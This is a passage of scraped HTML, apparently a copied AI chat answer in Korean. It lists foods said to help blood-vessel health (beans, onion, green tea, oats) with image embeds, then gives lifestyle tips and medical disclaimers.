도움을 줍니다.</p><h3 data-sourcepos="23:1-23:12">4. <strong>콩</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.ktxmagazine.kr/essen/article/19717"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="콩 종류 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQQRGTMS0WSB3Wv2m_wrDeQrwH6OY_OSYJK5bG30PRFde_1UaQHXACVCWjE5XOU"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.ktxmagazine.kr/essen/article/19717" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTEXRRrAS9W1BXX8peDYm1GGYdHraJw9_5XJjxUz4TAXAYIGkPeo2UwBgk_kZDSZM2ZaUhTml1hh4evVK-xURkn9WdtoFq-ia8Dn1BG"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.ktxmagazine.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩 종류 </div></div></single-image></response-element></div></h3><p data-sourcepos="27:1-27:62">콩에는 식물성 단백질과 식이섬유가 풍부하여 콜레스테롤 수치를 낮추고 포만감을 높여 체중 관리에도 도움을 줍니다.</p><h3 data-sourcepos="29:1-29:13">5. <strong>양파</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%96%91%ED%8C%8C"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="양파 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTxjsdV9fC8RK--q6nP50KsqqT7yYtyFLx1yEqmsOZCt00VksTP7ZjssgvezBT_"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%96%91%ED%8C%8C" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 양파 </div></div></single-image></response-element></div></h3><p data-sourcepos="33:1-33:62">양파에 함유된 퀘르세틴은 혈관 내벽에 쌓인 지방을 제거하고 혈관을 확장시켜 혈액순환을 개선하는 효과가 있습니다.</p><h3 data-sourcepos="35:1-35:13">6. <strong>녹차</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%85%B9%EC%B0%A8"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="녹차 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcScR8dznpdH3edV8xsYUovYbQz8MkJNVCOxNuwNWhRcvGrN9OmHx1XY9HmeHCEa"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%85%B9%EC%B0%A8" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 녹차 </div></div></single-image></response-element></div></h3><p data-sourcepos="39:1-39:55">녹차에 함유된 카테킨은 혈관 내벽에 콜레스테롤이 쌓이는 것을 막고 혈압을 낮추는 데 도움을 줍니다.</p><h3 data-sourcepos="41:1-41:13">7. <strong>귀리</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.kurly.com/goods/5054674"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="귀리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSoJMzJ4ZGvPZQ6yXBXHXvacEOV4SJTmnxeiSTukW0a20FbtE-2UcoOhfTbUuPE"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.kurly.com/goods/5054674" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_bc1b2462c8e3f012","c_3b7ace3c8d41b77d",null,"rc_a2b0a6e4e6518f2a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSTdBAN7WRYjNyOcUbUBGqmsMtOaI3jTUlITMftIlQCokEXDEgNnccqLmEbAAWX4bhBLHp3e1U8hxe-XPookJ1v82oDPaduhw"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.kurly.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 귀리 </div></div></single-image></response-element></div></h3><p data-sourcepos="45:1-45:49">귀리에 함유된 베타-글루칸은 혈중 콜레스테롤 수치를 낮추고 혈당 조절에도 도움을 줍니다.</p><p data-sourcepos="47:1-47:136"><strong>주의사항:</strong> 위에 소개된 음식들은 혈관 건강에 도움이 되지만, 모든 사람에게 동일하게 효과를 나타내는 것은 아닙니다. 개인의 건강 상태에 따라 적절한 식단을 구성하는 것이 중요하며, 질병이 의심될 경우에는 반드시 전문가와 상담해야 합니다.</p><p data-sourcepos="49:1-49:44"><strong>추가적으로 혈관 건강을 위해서는 다음과 같은 생활습관 개선이 필요합니다.</strong></p><ul data-sourcepos="51:1-55:0"> <li data-sourcepos="51:1-51:60"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하여 혈액순환을 개선하고 심혈관 기능을 강화합니다.</li> <li data-sourcepos="52:1-52:53"><strong>금연:</strong> 흡연은 혈관을 수축시키고 혈전 생성을 촉진하여 심혈관 질환의 위험을 높입니다.</li> <li data-sourcepos="53:1-53:55"><strong>절주:</strong> 과도한 음주는 혈압을 상승시키고 지방간을 유발하여 혈관 건강에 악영향을 미칩니다.</li> <li data-sourcepos="54:1-55:0"><strong>스트레스 관리:</strong> 스트레스는 혈압을 높이고 혈관을 손상시키므로 스트레스 관리가 중요합니다.</li> </ul><p data-sourcepos="56:1-57:46"><strong> 추가 요청:</strong> 원하는 음식의 을 더 자세히 보고 싶으시면, 해당 음식의 이름을 알려주세요.</p><p data-sourcepos="59:1-59:191"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. Always consult your doctor for any health concerns.</p></div> </div></div>